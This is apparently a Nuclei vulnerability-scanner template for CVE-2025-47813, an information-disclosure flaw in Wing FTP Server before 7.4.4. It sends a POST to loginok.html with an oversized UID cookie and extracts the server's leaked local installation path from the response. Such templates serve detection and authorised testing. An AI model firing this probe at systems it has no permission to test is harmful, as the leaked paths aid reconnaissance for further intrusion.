id: CVE-2025-47813

info:
  name: "Wingftp - Information Disclosure"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    loginok.html in Wing FTP Server before 7.4.4 discloses the full local installation path of the application
    when using a long value in the UID cookie.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-47813&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wingftp&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NH
    cvss-score: 5.3
    cve-id: CVE-2025-47813
    cwe-id: CWE-209
  metadata:
    verified: false
  tags: cve,cve2025,wingftp,unauth,exposure,vuln,kev,vkev
variables:
  longuid: "{{repeat('A', 2048)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/loginok.html"

    headers:
      Cookie: "UID={{longuid}}"
      Content-Type: application/x-www-form-urlencoded

    body: "username=anonymous&password=test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Server Path"
          - "Error"
          - ":\\\\"  # Windows path
          - "/usr/"  # Linux path
        condition: or

      - type: word
        part: header
        words:
          - "Wing FTP Server"

    extractors:
      - type: regex
        part: body
        regex:
          - '([a-zA-Z]:[\\/][^A\r\n]{10,})'